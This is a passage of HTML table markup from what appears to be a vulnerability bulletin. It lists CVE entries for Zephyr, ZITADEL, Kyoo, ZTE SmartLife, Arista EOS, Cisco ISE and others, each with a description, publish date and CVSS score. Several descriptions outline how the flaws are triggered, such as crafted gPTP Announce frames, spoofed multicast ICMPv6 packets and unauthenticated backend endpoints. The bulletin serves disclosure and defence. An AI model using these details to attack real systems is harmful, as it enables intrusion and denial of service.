&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15924&quot; target=&quot;_blank&quot;&gt;CVE-2026-15924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Zephyr SDIO subsystem function sdio_io_rw_extended_helper() in subsys/sd/sdio.c finishes transfers with a byte-I/O loop that uses size = MIN(remaining, func-&amp;gt;cis.max_blk_size) as the per-iteration step. The value func-&amp;gt;cis.max_blk_size is decoded directly from the SDIO card&#039;s CIS FUNCE tuple in sdio_decode_cis() and is not validated. When a card reports a maximum block size of zero, size is always 0, remaining never decreases, and the loop spins forever. The loop is reached from the public SDIO client API used by drivers, including sdio_read_fifo(), sdio_write_fifo(), and the incrementing register read/write helpers, each of which enters the loop while holding the per-card mutex func-&amp;gt;card-&amp;gt;lock. A card advertising max_blk_size == 0 therefore hangs the calling thread permanently on its first non-block-aligned transfer and never releases the mutex, denying service to the SDIO peripheral (and any subsystem such as Wi-Fi that depends on it) until the device is reset. The malicious value must come from the SDIO card itself, so the defect is exploitable where a removable SDIO/combo card slot lets an attacker insert a crafted or malfunctioning card (a physical attack vector); on boards with a soldered SDIO peripheral it is not attacker-influenceable. There is no memory-safety, confidentiality, or integrity impact - only a permanent availability loss. The fix returns -EIO when func-&amp;gt;cis.max_blk_size is zero, before the loop is entered.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15923&quot; target=&quot;_blank&quot;&gt;CVE-2026-15923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The ITE it82xx2 USB device-controller driver initialized its bus-suspend detection work with k_work_init_delayable(&amp;amp;priv-&amp;gt;suspended_work, suspended_handler) inside it82xx2_enable() (the driver&#039;s .enable op) in drivers/usb/udc/udc_it82xx2.c. This work item is scheduled essentially continuously while the USB bus is active: the interrupt handler reschedules it on every SOF frame and suspended_handler() reschedules itself, so its timeout node is normally linked in the kernel timeout list / a workqueue pending queue. k_work_init_delayable() (kernel/work.c) unconditionally overwrites the entire k_work_delayable structure, including its timeout and queue linkage, with no busy check. Because it82xx2_disable() does not cancel the work, a normal disable-then-enable cycle re-runs api-&amp;gt;enable() (udc_enable() only rejects a redundant enable, not a re-enable after disable) and re-initializes the still-pending work in place, corrupting the kernel timeout/workqueue linked lists and causing a kernel panic. An external USB host - for example a host performing USB DFU detach (dfu-util --detach) or forcing repeated attach/reset/re-enumeration - drives the udc_disable()/udc_enable() transitions and controls suspend/resume timing, so it can arrange for the suspend work to be pending across a re-enable. This yields an unauthenticated denial of service (kernel panic) reachable across the USB boundary from a removable, physically-connected host, with no confidentiality or integrity impact demonstrated. The fix moves the k_work_init_delayable() call into the one-time preinit function so the work is initialized exactly once, eliminating the re-initialization of an in-use item.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16148&quot; target=&quot;_blank&quot;&gt;CVE-2026-16148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;gptp_mi_qualify_announce() in subsys/net/l2/ethernet/gptp/gptp_mi.c walks the Path Trace TLV of a received IEEE 802.1AS Announce message, comparing each clock identity against the local one. The loop bound was taken solely from the attacker-controlled wire field announce-&amp;gt;steps_removed (accepted up to 254), never from announce-&amp;gt;tlv.len, which is the field that states how many identities the TLV actually carries. Because path_sequence is the flexible member of the wire TLV (struct gptp_path_trace_tlv) and GPTP_ANNOUNCE() yields a raw pointer into the received packet buffer, the memcmp() inside the loop can address memory well past the end of the received frame. The stack&#039;s only length validation, GPTP_ANNOUNCE_CHECK_LEN(), requires the received gPTP payload to be exactly 68 + tlv.len bytes - so it does not constrain the loop, it guarantees the data is absent. An unauthenticated attacker on the same Ethernet segment can send a single Announce frame declaring tlv.len = 0 with steps_removed = 254; the frame passes the length check and reception path (net_gptp_recv() â†’ gptp_handle_msg() â†’ gptp_mi_qualify_announce()), which performs no authentication, and the loop then reads 255 entries of 8 bytes each - about 2 KB - beyond the end of the network buffer. The impact is an out-of-bounds read. The bytes read are only used as a memcmp() operand and are never returned to the attacker, so there is no meaningful information disclosure; the practical risk is that the overread crosses a network buffer pool boundary into unmapped or MPU-protected memory and faults the networking RX thread, causing a denial of service. Exposure is limited to builds that enable the opt-in, experimental CONFIG_NET_GPTP (TSN/AVB deployments) and to attackers with layer-2 adjacency, since gPTP frames are sent to a link-local multicast address and are not routed. The fix computes the true entry count as tlv.len / GPTP_CLOCK_ID_LEN and rejects the announce when steps_removed + 1 exceeds it, so the loop can no longer run past the data the packet-length check proved present.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16514&quot; target=&quot;_blank&quot;&gt;CVE-2026-16514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;net_icmpv6_send_error() in subsys/net/ip/icmpv6.c implemented only one of the three RFC 4443 section 2.4 suppression rules (do not answer an ICMPv6 error with an ICMPv6 error). It did not check whether the triggering packet&#039;s source address identifies a single node (rule e.6) or whether the packet was sent to a multicast destination (rule e.3, whose only exceptions are Packet Too Big and Parameter Problem Code 2). Of the five call sites, only the port-unreachable path in subsys/net/ip/connection.c carried an equivalent guard of its own; the extension-header, unknown-next-header and fragmentation paths in subsys/net/ip/ipv6.c and subsys/net/ip/ipv6_fragment.c had none. An unauthenticated attacker with access to the same link can exploit this in two ways. Sending a single IPv6 packet to the link-local all-nodes group ff02::1 carrying an unrecognized next-header value, with the source address spoofed to a chosen victim, causes every Zephyr node on the link to emit an ICMPv6 Parameter Problem message to that victim - a reflector with an amplification factor equal to the number of nodes. Alternatively, sending a unicast packet whose source address is a multicast address causes the node to transmit its ICMPv6 error to that multicast address, turning one unicast packet into a link-flooded multicast frame. Packets addressed to ff02::1 are accepted unconditionally by ipv6_input(), and no check rejects a multicast source address, so no special configuration is required. The impact is degraded availability of the shared link and of the reflection victim, together with the ability for the attacker to hide its own address behind the responding nodes. The effect is amplified on constrained mesh links such as 802.15.4/Thread, where link-local multicast is flooded hop by hop. There is no memory-safety consequence: the error packet itself is well formed, it is simply emitted in cases where the protocol forbids it. The fix adds both suppression checks at the single choke point in net_icmpv6_send_error(), before any reply packet is allocated, preserving the RFC-mandated exceptions for NET_ICMPV6_PACKET_TOO_BIG and Parameter Problem Code 2. Note that the IPv4 counterpart net_icmpv4_send_error() in subsys/net/ip/icmpv4.c still checks only for a broadcast destination and retains an equivalent gap for multicast destinations and non-unique sources.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16515&quot; target=&quot;_blank&quot;&gt;CVE-2026-16515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zitadel--zitadel&lt;/td&gt;
&lt;td&gt;ZITADEL is an open source identity management platform. Prior to version 4.16.0, a bug in how ZITADEL updates permissions when multiple project roles are deleted at the same time can cause some user permissions to be missed. This issue specifically affects User Grants on Granted Projects (projects shared between different organizations), potentially allowing users to keep access rights that were supposed to be completely removed. This issue has been fully resolved in version 4.16.0. There are no configuration workarounds. Upgrading to a patched version is the only way to trigger the automatic cleanup migration. Those who cannot upgrade immediately should manually review user permissions specifically for Granted Projects where multiple roles were recently deleted.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76081&quot; target=&quot;_blank&quot;&gt;CVE-2026-76081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zlt2000--microservices-platform&lt;/td&gt;
&lt;td&gt;zlt2000 microservices-platform through 6.0.0 contains an authorization bypass vulnerability in the search-center service that allows authenticated attackers to read any Elasticsearch index by specifying the index name in POST /search/{indexName} and GET /agg/requestStat/{indexName}/{routing} path variables. Attackers can query arbitrary indices including sys_user to retrieve sensitive user records and password hashes without proper access controls.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92468&quot; target=&quot;_blank&quot;&gt;CVE-2026-92468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zopefoundation--AccessControl&lt;/td&gt;
&lt;td&gt;Zope AccessControl provides a general security framework for use in Zope. Prior to 7.4, applications that allow untrusted users to create and execute AccessControl-controlled Python code do not safely guard str.format and str.format_map when those methods are reached through a str subclass. In both ImplPython.py and cAccessControl.c, Python formatting can recursively access attributes and subscriptions using unrestricted getattr and getitem behavior instead of the policy-restricted getattr and getitem operations. A controlled format string can therefore disclose objects reachable from values available to the formatting operation. This issue is fixed in version 7.4.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77401&quot; target=&quot;_blank&quot;&gt;CVE-2026-77401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zoriya--Kyoo&lt;/td&gt;
&lt;td&gt;Kyoo is a self-hosted media server focused on movies, series, and anime. Prior to 5.1.0, an unauthenticated attacker could initiate the OIDC login flow with an attacker-controlled redirectUrl. The login handling in auth/oidc.go stored that URL with the opaque login state, and /auth/oidc/logged/{provider} appended the provider, token, and error values before redirecting the victim&#039;s browser without validating the destination. Because the one-use token was not bound to the browser session that initiated login, an attacker who induced a victim to complete OIDC authentication could capture the token at the attacker-controlled destination and exchange it through /auth/oidc/callback/{provider} for the victim&#039;s Kyoo session. This issue is fixed in version 5.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77386&quot; target=&quot;_blank&quot;&gt;CVE-2026-77386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zoriya--Kyoo&lt;/td&gt;
&lt;td&gt;Kyoo is a self-hosted media server focused on movies, series, and anime. Prior to 5.1.0, a registered user with the core.play permission could supply a base64-encoded filesystem path to the transcoder. The path handling in transcoder/src/api/path.go cleaned the value and checked only that it began with Settings.SafePath before getHash processed it, while transcoder/src/api/streams.go served the accepted path without verifying a Kyoo catalog record. This missing catalog-level authorization allowed the user to retrieve hidden, temporary, operational, or other uncataloged files beneath the media directory when the path was known or guessed. This vulnerability is fixed in 5.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77385&quot; target=&quot;_blank&quot;&gt;CVE-2026-77385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zscaler--ZIA File Type Control&lt;/td&gt;
&lt;td&gt;A file type attribution issue in Zscaler Internet Access File Type Control evaluation rules may allow improper evaluation of File Type Control policies in rare circumstances.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25684&quot; target=&quot;_blank&quot;&gt;CVE-2026-25684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--SmartLife&lt;/td&gt;
&lt;td&gt;The ZTE SmartLife application has a hardcoded key. The key used to decrypt account server information is stored in plaintext in the code. Once the key is obtained, the server information can be decrypted, thus exposing it.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86555&quot; target=&quot;_blank&quot;&gt;CVE-2026-86555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--SmartLife&lt;/td&gt;
&lt;td&gt;SmartLife app dynamically generates brand-new SmartLife application authentication parameters at runtime. With the acquired SmartLife application authentication credentials, an attacker can directly complete registration using any arbitrary email address via the backend interface /account/person/signup.serv. Email ownership is not verified prior to registration.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86552&quot; target=&quot;_blank&quot;&gt;CVE-2026-86552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--SmartLife&lt;/td&gt;
&lt;td&gt;SmartLife app dynamically generates brandnew SmartLife application authentication parameters within its runtime process. With the obtained SmartLife application authentication parameters, attackers can directly invoke the backend interface /account/verify.serv to determine whether a target email address is registered for a SmartLife account. If the account exists, the real backend account ID can also be retrieved.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86554&quot; target=&quot;_blank&quot;&gt;CVE-2026-86554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;low_v&quot;&gt;
&lt;h2 id=&quot;low_v_title&quot;&gt;Low Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Low Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A flaw has been found in a2ui-project a2ui up to 0.10.7. Affected is an unknown function of the file samples/community/client/angular/projects/a2a-chat-canvas/src/lib/services/sanitizer-markdown-renderer-service.ts of the component a2a-chat-canvas. Executing a manipulation can lead to cross site scripting. The attack may be performed from remote.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92214&quot; target=&quot;_blank&quot;&gt;CVE-2026-92214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. The affected element is the function create_strands_app of the file integrations/aws-strands/python/src/ag_ui_strands/utils.py of the component CORSMiddleware. The manipulation results in permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The attack requires a high level of complexity. The exploitability is described as difficult. Upgrading to version AGUI.Abstractions@0.0.6 is sufficient to fix this issue. The patch is identified as 9b143b9668fa52c2054ede9d34a45ac4b4401089. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92359&quot; target=&quot;_blank&quot;&gt;CVE-2026-92359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in aiyiyi121 SxDevOps 1.0/1.1. This affects the function update of the file backend/rbac/serializers.py of the component UserSerializer. Executing a manipulation can lead to improper privilege management. The attack can be executed remotely. This patch is called 2b4bf8585c3e731e7a8af30801ea46680bc783f9. It is best practice to apply a patch to resolve this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93968&quot; target=&quot;_blank&quot;&gt;CVE-2026-93968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;andreashappe--cochise&lt;/td&gt;
&lt;td&gt;A weakness has been identified in andreashappe cochise up to 0.4.1. Affected is the function asyncssh.connect of the file src/cochise/ssh_connection.py of the component SSH Host Key Handler. Executing a manipulation can lead to improper certificate validation. The attack may be launched remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90623&quot; target=&quot;_blank&quot;&gt;CVE-2026-90623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with VRRP enabled, the peer device VRRP authentication credentials are logged in cleartext on the switch, allowing an authenticated user with sufficient privileges to view agent trace logs (or a system receiving forwarded log output) to obtain the peer device VRRP authentication credentials without having access to the network segment on which VRRP is running.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73442&quot; target=&quot;_blank&quot;&gt;CVE-2026-73442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;A brief (milliseconds to seconds) traffic leak may occur when an authenticated supplicant is removed, either via the clear dot1x host all CLI command or due to a supplicant timeout. During this window, the supplicant&#039;s traffic may pass without ACL enforcement.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75943&quot; target=&quot;_blank&quot;&gt;CVE-2026-75943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;A race condition during supplicant re-authentication may leave a stale ACL entry that persists in the system. If the AclAgent subsequently restarts, this stale entry may be applied to new supplicants, resulting in incorrect access control enforcement. User interaction (an AclAgent restart by an administrator) is required for the unintended behavior to take effect.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75944&quot; target=&quot;_blank&quot;&gt;CVE-2026-75944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;A race condition may cause a supplicant to remain in an authorized state after a clear dot1x host all command is issued.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75945&quot; target=&quot;_blank&quot;&gt;CVE-2026-75945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;An authenticated supplicant on an adjacent network may bypass intended network authorization policy and send unrestricted traffic during a brief window (milliseconds to seconds) between the completion of the authentication phase and the full enforcement of its assigned ACL.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77191&quot; target=&quot;_blank&quot;&gt;CVE-2026-77191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 3.0.8 until 3.0.12, processScramAuthenticationInfo and processAuthenticationInfo compute the SCRAM ServerSignature or Digest rspauth verification result but log a mismatch and still deliver the response as authenticated. On a non-TLS or compromised transport, a peer that has not proved knowledge of the shared secret can therefore be accepted as the server. The fix rejects a present invalid value and computes Digest rspauth from the Authorization parameters actually sent, but verification remains unenforced when the value is absent, the sent parameters cannot be recovered, or Digest uses qop=auth-int. This issue is fixed in version 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85716&quot; target=&quot;_blank&quot;&gt;CVE-2026-85716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;authzed--spicedb&lt;/td&gt;
&lt;td&gt;SpiceDB is an open source database system for creating and managing security-critical application permissions. From 1.34.0 until 1.54.0, SpiceDB can return PERMISSIONSHIP_HAS_PERMISSION instead of PERMISSIONSHIP_CONDITIONAL_PERMISSION or PERMISSIONSHIP_NO_PERMISSION because checkRequestToKey() and checkRequestToKeyWithCanonical() in internal/dispatch/keys/computed.go omit CheckHints when constructing dispatch Check cache keys. The incorrect result requires a permission combining relations with intersection or exclusion, a subject reachable through caveated and non-caveated branches, LookupResources with a context parameter running concurrently with CheckPermission or CheckBulkPermissions for the same resource and subject, and an enabled dispatch result cache. Under these conditions, a result computed for one hint set can poison the cache entry used by a semantically different authorization check, allowing permission without satisfying the caveat. This issue is fixed in version 1.54.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55866&quot; target=&quot;_blank&quot;&gt;CVE-2026-55866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CareCam CM2507 IP cameras contain an insufficiently protected network maintenance mechanism that can activate a remote debugging service. An attacker on the same local network who satisfies certain device state conditions could make the service remotely accessible, increasing the risk of unauthorized administrative access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84400&quot; target=&quot;_blank&quot;&gt;CVE-2026-84400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;A CM2507 IP camera running firmware version HMT.CM2507 v251211.1507 exposes an interactive bootloader through a physical debug interface without requiring authentication. An attacker with physical access could interrupt the normal boot process and access functionality that permits inspection or modification of boot configuration, firmware data, and software loaded by the device.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85478&quot; target=&quot;_blank&quot;&gt;CVE-2026-85478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ChangeWeDer--crm&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This vulnerability affects unknown code of the file src/main/resources/public/js/customerServe/customer.serve.js of the component Save Endpoint. This manipulation of the argument customerName causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92418&quot; target=&quot;_blank&quot;&gt;CVE-2026-92418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the SSID bring-your-own-device (BYOD) onboarding workflow of Cisco ISE could allow an unauthenticated, adjacent attacker to hijack the onboarding session of&amp;amp;nbsp;another user and access protected 802.1X networks. &amp;amp;nbsp; This vulnerability is due to insufficient authentication checks that are performed while a user is being onboarded. An attacker could exploit this vulnerability by spoofing the legitimate user and triggering&amp;amp;nbsp;a redirection to the guest web portal. A successful exploit could allow the attacker to take over the user session and gain access to the protected 802.1X network.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20071&quot; target=&quot;_blank&quot;&gt;CVE-2026-20071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Assessment Management&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in code-projects Assessment Management 1.0. Affected by this vulnerability is an unknown functionality of the file lecturer/add-single-mark.php. This manipulation of the argument mark causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93977&quot; target=&quot;_blank&quot;&gt;CVE-2026-93977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Assessment Management&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in code-projects Assessment Management 1.0. This impacts an unknown function of the file admin/edit-user.php of the component User Editing. The manipulation of the argument name/sname/email/username/password/id leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93975&quot; target=&quot;_blank&quot;&gt;CVE-2026-93975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Assessment Management&lt;/td&gt;
&lt;td&gt;A vulnerability was found in code-projects Assessment Management 1.0. Affected is an unknown function of the file admin/add-user.php. The manipulation of the argument level results in cross site scripting. The attack may be launched remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
